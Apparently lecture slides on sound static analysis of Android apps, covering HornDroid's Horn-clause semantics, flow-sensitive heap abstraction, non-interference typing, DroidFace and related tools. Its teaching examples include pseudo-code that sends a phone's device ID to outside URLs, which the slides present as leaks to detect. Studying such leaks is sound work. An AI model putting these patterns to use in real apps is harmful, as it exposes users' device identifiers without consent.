\[ \text{sign}(c', m') = \tau_1, \ldots, \tau_n \]
\[ R' = ((r_j \mapsto 0)^{\leq \text{loc}}, \tau) \]
\[ r_{loc+k} \mapsto \Sigma[r_k^*] \]
\[ \alpha'' = \langle c', m', 0 \cdot (\Sigma[r_k^*])^{k \leq n} \cdot st^* \cdot R' \rangle :: \alpha' \]
\[ \Sigma, \text{sinvoke } c' m' \tau_1, \ldots, \tau_n \downarrow \Sigma[\alpha \mapsto \alpha''] \]

(R-CALL)
\[ \ell = \Sigma[r_2] \]
\[ \text{lookup}(\text{type}_H(\ell), m') = (c', st^*) \]
\[ \text{sign}(c', m') = \tau_1, \ldots, \tau_n \]
\[ R' = ((r_j \mapsto 0)^{\leq \text{loc}}, \tau) \]
\[ r_{loc+k} \mapsto \Sigma[r_k^*] \]
\[ \alpha'' = \langle c', m', 0 \cdot (\Sigma[r_k^*])^{k \leq n} \cdot st^* \cdot R' \rangle :: \alpha' \]
\[ \Sigma, \text{sinvoke } c' m' \tau_1, \ldots, \tau_n \downarrow \Sigma[\alpha \mapsto \alpha''] \]

(R-NEWINTENT)
\[ i = \{ \_c'; \_ \} \]
\[ \ell = p_{c,m,pc} \notin \text{dom}(H) \]
\[ H' = H[\ell \mapsto i] \]
\[ R' = R[r_d \mapsto \ell] \]
\[ \Sigma, \text{newintent } r_d c' \downarrow \Sigma^+[H \mapsto H', R \mapsto R'] \]

(R-PUTEXTRA)
\[ \ell = \Sigma[r_2] \]
\[ i = H(\ell) \]
\[ k = \Sigma[r_k^*] \]
\[ v = \Sigma[r_v] \]
\[ H' = H[\ell \mapsto i[k \mapsto v]] \]
\[ \Sigma, \text{put-extra } r_i r_k r_v \downarrow \Sigma^+[H \mapsto H'] \]

(R-GETEXTRA)
\[ \ell = \Sigma[r_2] \]
\[ i = H(\ell) \]
\[ k = \Sigma[r_k^*] \]
\[ H(\ell) = i \]
\[ \text{type}_H(i,k) \leq \tau \]
\[ v = i.k \]
\[ R' = R[r_{\_ret} \mapsto v] \]
\[ \Sigma, \text{get-extra } r_i r_k \tau \downarrow \Sigma^+[R \mapsto R'] \]
Analysis: Horn Clauses
// c.m
...
12 invoke c’ m’ r_3, r_2
13 ...

// c’.m’
...
24.goto 27
25....
26....
27 move r_1 r_2
28 return

R_{c,m,12}(args_{caller};v_1,...,v_k;v_{res}) \Rightarrow R_{c’;m’;0}(r_3,r_2;0,...,0,r_3,r_2;0)

R_{c’,m}(args_{caller};res_{new}) \Rightarrow R_{c,m,13}(args_{caller};v_1,...,v_k;res_{new})
// c.m
...
12 invoke c’ m’ r_3 , r_2
13 ...

// c’ . m’
...
24.goto 27
25....
26....
27 move r_1 r_2
28 return

Register content (Value sensitivity)

R_{c,m,12}(args_{caller};v_1,..., v_k; v_{res}) \Rightarrow R'_{c';m';0}(r_3,r_2; 0,...0,r_3,r_2; 0)

R_{c',m}(args_{caller}; res_{new}) \Rightarrow R_{c,m,13}(args_{caller};v_1,..., v_k;res_{new})
// c.m
...
12 invoke c’ m’ r_3 , r_2
13 ...

// c’.m’
...
24.goto 27
25....
26....
27 move r_1 r_2
28 return

\[
R_{c,m,12}(\text{args}_{\text{caller}};v_1,\ldots, v_k; v_{\text{res}}) \Rightarrow R_{c’,m’,0}(r_3,r_2; 0,\ldots,0,r_3,r_2; 0)
\]
\[
R_{c’,m}(\text{args}_{\text{caller}}; \text{res}_{\text{new}}) \Rightarrow R_{c,m,13}(\text{args}_{\text{caller}};v_1,\ldots, v_k; \text{res}_{\text{new}})
\]
// c.m
...
12 invoke c' m' r_3, r_2
13 ...
// c'.m'
...
24.goto 27
25....
26....
27 move r_1 r_2
28 return

// c.m
...
12 invoke c' m' r_3, r_2
13 ...
// c'.m'
...
24.goto 27
25....
26....
27 move r_1 r_2
28 return

Register content (Value sensitivity)

Result register

Parameterized over program counter (Flow-sensitivity)

\[ R_{c,m,12}(\text{args}_{\text{caller}}, v_1, \ldots, v_k; v_{res}) \Rightarrow R_{c';m';0}(r_3, r_2; 0, \ldots, 0, r_3, r_2; 0) \]

\[ R_{c',m}(\text{args}_{\text{caller}}; res_{new}) \Rightarrow R_{c,m,13}(\text{args}_{\text{caller}}, v_1, \ldots, v_k; res_{new}) \]
// c.m
...
12 invoke c’ m’ r_3, r_2
13 ...
// c’.m’
...
24. goto 27
25. ....
26. ....
27. move r_1, r_2
28. return

R_{c,m,12}(args_{caller}; v_1, ..., v_k; v_{res}) \Rightarrow R_{c’;m’;0}(r_3, r_2; 0, ..., 0, r_3, r_2; 0)
R_{c’,m}(args_{caller}; res_{new}) \Rightarrow R_{c,m,13}(args_{caller}; v_1, ..., v_k; res_{new})

Caller arguments (Context sensitivity)
Register content (Value sensitivity)
Result register

Parameterized over program counter (Flow-sensitivity)
// c.m
...  
12 invoke c’ m’ r_3 , r_2
13 ...

// c’.m’
...  
24.goto 27
25....
26....
27 move r_1 r_2
28 return

Parameterized over program counter (Flow-sensitivity)

Caller arguments
(Context sensitivity)

Register content
(Value sensitivity)

Result register

R_{c,m,24}(regs_c;v_1,...) \Rightarrow R_{c,m,27}(regs_c;v_1,...)
...
... 
R_{c,m,27}(regs_c;v_1,v_2,...) \Rightarrow R_{c,m,28}(regs_c;v_1,v_1,...)
R_{c,m,28}(regs_c; v_1,...; v_{res}) \Rightarrow R_{c,m}(regs_c; v_{res})
// c.m
...
12 invoke c’ m’ r₃, r₂
13 ...

// c’.m’
...
24.goto 27
25....
26....
27 move r₁ r₂
28 return

Parameterized over program counter (Flow-sensitivity)

Caller arguments (Context sensitivity)

Register content (Value sensitivity)

Result register

\[
R_{c,m,12}(\text{args}_{\text{caller}},v₁,\ldots,vₖ;v_{\text{res}}) \Rightarrow R_{c’,m’,0}(r₃,r₂;0,\ldots,0,r₃,r₂;0)
\]

\[
R_{c’,m}(\text{args}_{\text{caller}},\text{res}_{\text{new}}) \Rightarrow R_{c,m,13}(\text{args}_{\text{caller}},v₁,\ldots,vₖ;\text{res}_{\text{new}})
\]

\[
R_{c’,m,24}(\text{regs}_c;v₁,\ldots) \Rightarrow R_{c’,m,27}(\text{regs}_c;v₁,\ldots)
\]

\[
\ldots
\]

\[
R_{c’,m,27}(\text{regs}_c;v₁,v₂,\ldots) \Rightarrow R_{c’,m,28}(\text{regs}_c;v₁,v₁,\ldots)
\]

\[
R_{c’,m,28}(\text{regs}_c;v₁,\ldots;v_{\text{res}}) \Rightarrow R_{c’,m}(\text{regs}_c;v_{\text{res}})
\]

Result register at return
// c.m
...
12 invoke c’ m’ r_3, r_2
13 ...

// c’.m’
...
24.goto 27
25....
26....
27 move r_1 r_2
28 return

**Caller arguments (Context sensitivity)**

Parameterized over program counter (Flow-sensitivity)

**Register content (Value sensitivity)**

Result register

**Result register at return**

\[ R_{c,m,12}(\text{args}_{\text{caller}}, v_1, ..., v_k; v_{\text{res}}) \Rightarrow R_{c',m',0}(r_3, r_2; 0, ..., 0, r_3, r_2; 0) \]

\[ R_{c',m}(\text{args}_{\text{caller}}; \text{res}_{\text{new}}) \Rightarrow R_{c,m,13}(\text{args}_{\text{caller}}, v_1, ..., v_k; \text{res}_{\text{new}}) \]

\[ R_{c',m',24}(\text{regs}_{c}; v_1, ...) \Rightarrow R_{c',m',27}(\text{regs}_{c}; v_1, ...). \]

... 

\[ R_{c',m',27}(\text{regs}_{c}; v_1, v_2, ...) \Rightarrow R_{c',m',28}(\text{regs}_{c}; v_1, v_1, ...) \]

\[ R_{c',m',28}(\text{regs}_{c}; v_1, ..., v_{\text{res}}) \Rightarrow R_{c',m'}(\text{regs}_{c}; v_{\text{res}}) \]

Updated result register
On value sensitivity...

```java
int x = 0;
for (int y = 0; y <= 10; y++) { x++; }
TelephonyManager tm = ...
String imei = tm.getDeviceId();
if (x == 0) { leak(imei); }
```
On value sensitivity...

```java
int x = 0;
for (int y = 0; y <= 10; y++) { x++; }
TelephonyManager tm = ...;
String imei = tm.getDeviceId();
if (x == 0) { leak(imei); }
```
On value sensitivity...

```java
int x = 0;
for (int y = 0; y <= 10; y++) { x++; }
TelephonyManager tm = ...;
String imei = tm.getDeviceId();
if (x == 0) { leak(imei); }
```

• Rejected by the other state-of-the-art Android static analysers

• VS also useful to reason about reflection, dictionary-like containers (e.g., Intents), etc.
Flow-sensitivity for the heap

• To retain soundness we chose to be flow-insensitive on the heap...

• But this is often too imprecise

```java
public class Anon extends Activity {
    Contact[] m = new Contact[](0);
    onStart() {
        for (int i = 0; i < contacts.length(); i++) {
            Contact c = contacts.getContact(i);
            c.phone = anonymise(c.phone);
            m[i] = c;
        }
        send(m, "http://www.cool-apps.com/");
    }
}
```
Flow-sensitivity is dangerous

1. **public class** Leaky **extends** Activity {
   2.   Storage st = new Storage();
   3.   Storage st2 = new Storage();
   4.   onRestart() { st2 = st; }
   5.   onResume() { st2.s = getDeviceId(); }
   6.   onPause() { send(st.s, "http://www.myapp.com/"); }
   7. }

- Leak not detected by other tools (e.g., FlowDroid)
FSHornDroid
[Calzavara, Grischchenko, Koutsos, Maffei - CSF '17]

• Can we retain precision and be at the same time sound?

• We adapt ideas from recency abstraction, using them for the first time in a concurrent setting
Key ideas

• A thread can influence the run-time behaviour of another thread only if they share memory

• Thus, we use two heap abstractions

  • flow-sensitive FS(\lambda) with strong updates as long as thread is executed in isolation (each abstract objectabstracts a single concrete object)

  • flow-insensitive NFS(\lambda) with weak updates as soon as the thread shares data or the analysis enters a loop (each abstract object abstracts a set of concrete objects)
public class Leaky extends Activity {
    H(1, {Leaky; st ← NFS(2), st2 ← NFS(3)})
    // flow-insensitivity on activity object
    Storage st = new Storage();
    H(2, {Storage; s ← ""}) // after the constructor
    Storage st2 = new Storage();
    H(3, {Storage; s ← ""}) // after the constructor
    onRestart() { st2 = st; }
    H(1, {Leaky; st ← NFS(2), st2 ← NFS(2)}) // aliasing
    onResume() { st2.s = getDeviceId(); }
    H(2, {Storage; s ← id}) ∨ H(3, {Storage; s ← id})
    // due to flow-insensitivity on activity object
    onPause() { send(st.s, "http://www.myapp.com/");
        Sink(""") ∨ Sink(id) // leak is detected
    }
}
Verifying the example

```java
public class Anon extends Activity {
    H(1, [Anon; m \mapsto NFS(2)])
    // flow-insensitivity on activity object
    Contact[] m = new Contact[]();
    H(2, []) // new empty array is created
    onStart() {
        LState₃(c \mapsto null; 5 \mapsto ⊥)
        // no allocated contact at location 5 yet
        for (int i = 0; i < contacts.length(); i++) {
            LState₄(c \mapsto null; 5 \mapsto ⊥) \land LState₄(c \mapsto NFS(5); 5 \mapsto ⊥)
            // loop invariant (see below)
            Contact c = contacts.getContact(i);
            LState₅(c \mapsto FS(5); 5 \mapsto o_c) // flow-sensitivity
            c.phone = anonymise(c.phone);
            LState₆(c \mapsto FS(5); 5 \mapsto o_c\{phone \mapsto ""\}) // strong update
            m[i] = c;
            LState₇(c \mapsto NFS(5); 5 \mapsto ⊥) \land H(5, o_c\{phone \mapsto ""\}) \land H(2, [NFS(5)]) // lifting is performed
        }
        send(m, "http://www.cool-apps.com/");
        Sink([o_c\{phone \mapsto ""\}]) // no leak is detected
    }
}
```
Implementation

- Translate the bytecode into a set of Horn clauses
- Formulate reachability properties as queries
- Discharge them using Z3, an off-the-shelf SMT solver developed by Microsoft Research
  - fixpoint engine, which automatically computes loop invariants

https://www.sps.cs.uni-saarland.de/horndroid
Sound, and yet more precise and orders of magnitude faster!

<table>
<thead>
<tr>
<th></th>
<th>HornDroid</th>
<th>FlowDroid</th>
<th>DroidSafe</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Soundness</strong></td>
<td>100 %</td>
<td>67 %</td>
<td>93 %</td>
</tr>
<tr>
<td><strong>Precision</strong></td>
<td>94 %</td>
<td>89 %</td>
<td>90 %</td>
</tr>
<tr>
<td><strong>Average analysis time</strong></td>
<td>1s</td>
<td>19s</td>
<td>176s</td>
</tr>
</tbody>
</table>

Soundness (True Positive Rate) = TP / (TP + FN)
Precision (False Negative Rate) = TN/ (TN + FP)

*Sound, and yet more precise and orders of magnitude faster!*
FSHORNDROID
A STATIC ANALYSIS TOOL!

WE PRESENT FSHORNDROID THE FIRST STATIC ANALYSIS TOOL FOR ANDROID APPLICATIONS WHICH IS BOTH FLOW-SENSITIVE ON THE HEAP AND PROVABLY SOUND WITH RESPECT TO A RICH FORMAL MODEL OF THE ANDROID PLATFORM. WE FORMULATE THE ANALYSIS AS A SET OF HORN CLAUSES DEFINING A SOUND OVER-APPROXIMATION OF THE SEMANTICS OF THE ANDROID APPLICATION TO ANALYSE, BORROWING IDEAS FROM RECENT ABSTRACTION AND EXTENDING THEM TO A CONCURRENT SETTING.
Tool: HornDroid

ANALYZE YOUR APP

Upload APK

- Choose File
- ObjectSensitivity2.apk

[Start]

Toggle Options

- Precise query results
- Flow insensitive heap
- Sensitive heap for methods with call to sink
- Stop after first leak
- Sensitive array indexes

Bit Vector Size: 64

<table>
<thead>
<tr>
<th>Report Id</th>
<th>Submitted APK</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>6af75aeef0df418e8d4afdbec0b56d0</td>
<td>ObjectSensitivity2.apk</td>
<td>Click to View</td>
</tr>
<tr>
<td>Test Description</td>
<td>Result</td>
<td></td>
</tr>
<tr>
<td>---------------------------------------------------------------------------------</td>
<td>-----------</td>
<td></td>
</tr>
<tr>
<td>Test if register 2 leaks at line 46 in method <code>onCreate(Landroid/os/Bundle;)V</code> of the class <code>Lde/ecspride/FieldSensitivity3;</code> to the sink <code>sendTextMessage(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Landroid/app/PendingIntent;Landroid/app/PendingIntent;)V</code></td>
<td>NO LEAK</td>
<td></td>
</tr>
<tr>
<td>Test if register 3 leaks at line 46 in method <code>onCreate(Landroid/os/Bundle;)V</code> of the class <code>Lde/ecspride/FieldSensitivity3;</code> to the sink <code>sendTextMessage(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Landroid/app/PendingIntent;Landroid/app/PendingIntent;)V</code></td>
<td>POTENTIAL LEAK</td>
<td></td>
</tr>
<tr>
<td>Test if register 4 leaks at line 46 in method <code>onCreate(Landroid/os/Bundle;)V</code> of the class <code>Lde/ecspride/FieldSensitivity3;</code> to the sink <code>sendTextMessage(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Landroid/app/PendingIntent;Landroid/app/PendingIntent;)V</code></td>
<td>NO LEAK</td>
<td></td>
</tr>
<tr>
<td>Test if register 5 leaks at line 46 in method <code>onCreate(Landroid/os/Bundle;)V</code> of the class <code>Lde/ecspride/FieldSensitivity3;</code> to the sink <code>sendTextMessage(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Landroid/app/PendingIntent;Landroid/app/PendingIntent;)V</code></td>
<td>NO LEAK</td>
<td></td>
</tr>
<tr>
<td>[REF] Test if register 0 leaks at line 46 in method <code>onCreate(Landroid/os/Bundle;)V</code> of the class <code>Lde/ecspride/FieldSensitivity3;</code> to the sink <code>sendTextMessage(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Landroid/app/PendingIntent;Landroid/app/PendingIntent;)V</code></td>
<td>NO LEAK</td>
<td></td>
</tr>
</tbody>
</table>
Funny Videos 2017

Karaoke Love Music Tales for children Entertainment

USK: All ages

Contains ads

This app is compatible with all of your devices.

Add to Wishlist

Install
20.4.2017

English version

Liebe Kundin,
lieber Kunde,


Dabei handelte es sich um die App „Funny Videos 2017“.

Wenn Sie die App aus dem Google play-store auf Ihrem Android-Smartphone installiert haben, empfehlen wir dringend
- diese umgehend zu löschen
- das Smartphone auf Trojaner zu untersuchen
- um Kontaktaufnahme mit dem Helpdesk für das Digitale Banking unseres s ServiceCenters unter Tel. 05 0100 - 50200

Details und wichtige Hinweise wie Sie Ihr Android-Smartphone schützen sollten!

Freundliche Grüße

Ihr Digitales Banking–Team
Funny Videos 2017
Karaoke Love Music Tales for children   Entertainment

USK: All ages
Contains ads
This app is compatible with all of your devices.

Install

Funny Videos 2017

Indian Funny Videos 2016 New - Whatsapp
New Funny Videos Asia Funny - Whatsapp 2016
Compilation 2017 Funny Video Small
Kids At The Zoo New Compilation 2016

Vote
Share
Feedback
All
Viewed
Missing to see
Most Shared

Indian Funny Videos 2016 New - Whatsapp Funny Videos India

fs
HornDroid
~14 sec
Other formal security analysis techniques for Android apps...
Non-interference by typing (bird’s eye view)

• First, classify expressions by saying that an expression is \( H \) if it contains any \( H \) variables; otherwise it is \( L \)

• Next, prevent explicit flows by forbidding a \( H \) expression from being assigned to a \( L \) variable

\[
1 := \ldots
\]

may not use high variables

• Finally, prevent implicit flows by forbidding a guarded command with a \( H \) guard from assigning to \( L \) variables

\[
\text{if } e \text{ then} \quad \ldots
\]

may not assign to low variables

\[
\text{while } e \text{ do} \quad \ldots
\]

may not assign to low variables
Typing rules for expressions

**Exp-High**

\[ exp : H \]

**Exp-Low**

\[ h \notin Vars(exp) \]

\[ exp : L \]

- Any expression can be typed \( H \)
- An expression is \( L \) if it does not contain \( H \) variables
Typing rules for atomic commands

- The empty command is typeable in any context
- Assignments to $L$ variables are only typeable in context $L$
- Assignments to $H$ variables can be typed in any context
- $[pc] ⊨ e$ means that only variables of level $pc$ (or higher) are assigned in $e$
Typing rules for compound commands

\[
\text{SUB}
\begin{align*}
[H] & \vdash c \\
[L] & \vdash c
\end{align*}
\]

\[PC]
\begin{align*}
[pc] & \vdash c_1 \\
[pc] & \vdash c_2
\end{align*}
\]

\[PC\]
\begin{align*}
[pc] & \vdash c_1 ; c_2
\end{align*}
\]

\[IF\]
\begin{align*}
e : pc \\
[pc] & \vdash c_1 \\
[pc] & \vdash c_2
\end{align*}
\]

\[PC\]
\begin{align*}
[pc] & \vdash \text{if } e \text{ then } c_1 \text{ else } c_2
\end{align*}
\]

\[WHILE\]
\begin{align*}
e : pc \\
[pc] & \vdash c
\end{align*}
\]

\[PC\]
\begin{align*}
[pc] & \vdash \text{while } e \text{ do } c
\end{align*}
\]
Typing rules for compound commands

\[ \text{SUB} \]
\[
\begin{align*}
[H] & \vdash c \\
[L] & \vdash c
\end{align*}
\]

\[ \text{COMPOSE} \]
\[
\begin{align*}
[pc] & \vdash c_1 \\
[pc] & \vdash c_2 \\
[pc] & \vdash c_1 ; c_2
\end{align*}
\]

\[ \text{IF} \]
\[
\begin{align*}
e : pc \\
[pc] & \vdash c_1 \\
[pc] & \vdash c_2
\end{align*}
\]

\[ \vdash \text{if } e \text{ then } c_1 \text{ else } c_2 \]

\[ \text{WHILE} \]
\[
\begin{align*}
e : pc \\
[pc] & \vdash c
\end{align*}
\]

\[ \vdash \text{while } e \text{ do } c \]

branches with a H guard must be typeable in a H context
Examples


[pc] ? if h then h:=h+7 else skip

[low] ? while l<34 do l:=l+1

[pc] ? while h<4 do l:=l+1
Examples

\[ [\text{low}] \vdash h := l + 4; l := l - 5 \]

\[ [\text{pc}] \ ? \ \text{if} \ h \ \text{then} \ h := h + 7 \ \text{else} \ \text{skip} \]

\[ [\text{low}] \ ? \ \text{while} \ l < 34 \ \text{do} \ l := l + 1 \]

\[ [\text{pc}] \ ? \ \text{while} \ h < 4 \ \text{do} \ l := l + 1 \]
Examples

\[ \text{[low]} \gets h := l + 4; \ l := l - 5 \]

\[ \text{[pc]} \gets \text{if } h \text{ then } h := h + 7 \text{ else skip} \]

\[ \text{[low]} \ ? \ \text{while } l < 34 \ \text{do } l := l + 1 \]

\[ \text{[pc]} \ ? \ \text{while } h < 4 \ \text{do } l := l + 1 \]
Examples

\([\text{low}] \gets h := l + 4; \ l := l - 5\)

\([\text{pc}] \gets \text{if } h \text{ then } h := h + 7 \text{ else } \text{skip}\)

\([\text{low}] \gets \text{while } l < 34 \text{ do } l := l + 1\)

\([\text{pc}] \ ? \text{ while } h < 4 \text{ do } l := l + 1\)
Examples

[low] ⊨ h:=l+4; l:=l-5

[pc] ⊨ if h then h:=h+7 else skip

[low] ⊨ while l<34 do l:=l+1

[pc] ⊨ while h<4 do l:=l+1
Type inference: example

\[
\begin{align*}
[\text{high}] & \vdash h := h + 1 & [\text{low}] & \vdash l := 5, [\text{low}] & \vdash l := 3, l = 0: \text{low} \\
[\text{low}] & \vdash h := h + 1 & [\text{low}] & \vdash \text{if } l = 0 \text{ then } l := 5 \text{ else } l := 3 \\
[\text{low}] & \vdash h := h + 1; \text{ if } l = 0 \text{ then } l := 5 \text{ else } l := 3
\end{align*}
\]
Cassandra

[Lortz et al. '15]

• Similar ideas have been further refined and developed in the context of Java bytecode [Barthe et al. '07]

• Cassandra adapts these techniques into the context of Dalvik bytecode
DroidFace

[Schoepe, Balliu, Piessens, and Sabelfeld - Esorics’16]

- Dynamic taint tracking that does not track taints :)
- Shadow memories to represent tainted and untainted views
- Repeat computations for each security level (inspired by secure multi-execution (SME) for non-interference [Devriese and Piessens’10])
- Public level computes on dummy values instead of secrets
- In contrast to SME,
  - only assignments are multi-executed (not branching)
  - branch conditions evaluated on real values
- Output at level L uses data computed at level L
Facelifted values

\[ h = \text{secret} \]
\[ x = 2 \ast h \]
\[ \text{out}(L, x) \]

\[ h^H = \text{secret} \]
\[ h^L = \text{dummy} \]
\[ x^H = 2 \ast h^H \]
\[ x^L = 2 \ast h^L \]
\[ \text{out}(L, x^L) \]
Precision

int [] a := [0,0];
a[h%2] := h;
l := a[1-h%2]

• Is this program secure?
Precision

```
int [] a := [0,0];
a[h%2] := h;
l := a[1-h%2]
```

- Is this program secure?
- Secure, yet rejected by classical taint trackers
- Entire array tainted
Precision

int [] a := [0,0];
a[h\%2] := h;
l := a[1-h\%2]

• Is this program secure?
• Secure, yet rejected by classical taint trackers
  • Entire array tainted
• Rightfully accepted by facelifted values
Attack detection

• Facelifted values are a “repair” mechanism (like SME)

• Attack detection
  • Match outcome at public level from the secret and public runs
  • Flag as attack if mismatched
  • No false positives

\[
\begin{align*}
h^H &= \text{secret} \\
h^L &= \text{dummy} \\
x^H &= 2 \times h^H \\
x^L &= 2 \times h^L \\
\text{out}(L, x^L)
\end{align*}
\]
Implementation

- Android APK converted to Jimple by Soot
- Source-to-source transform on Jimple
- DroidFace converts Jimple back to Android APK

http://www.cse.chalmers.se/research/group/security/facets/
JoDroid
[Mohr et al, ’15]

• Compute program dependence graph (PDG)
  • data edges represent explicit flows
  • control edges represent implicit flows

• Compute backward slicing of sink and check that no source is there → non-interference (machine-checked proof for Java)

http://pp.ipd.kit.edu/projects/joana/
Soot-based Toolchain
[Arzt et al.’14]

- **Soot**: transforms Dalvik bytecode into Jimple intermediate format and provides basic analysis tools (deadcode elimination, constant value propagation, etc.)

- **FlowDroid**: static data-flow tracker

- **Susi**: machine learning to identify sources and sinks in Android apps

- **StubDroid**: computes a taint interface for libraries in order to use it in the analysis (as opposed to analysing the whole library along with the app over and over)

- **ICCTA**: inter-component data flow analysis

- Does not target a sound analysis…
Next challenges in formal analysis of mobile code

• Formal treatment of native code

• Reasoning about lower layers of the architecture

• Secure development tools (security by design, proof carrying code, …)

• Domain-specific properties and analysis (e.g., automotive)

• Other platforms (iOS, …)
Interested in formal methods for security?

Various Ph.D. positions available in the S&P group!

For more info on our research, visit secpriv.tuwien.ac.at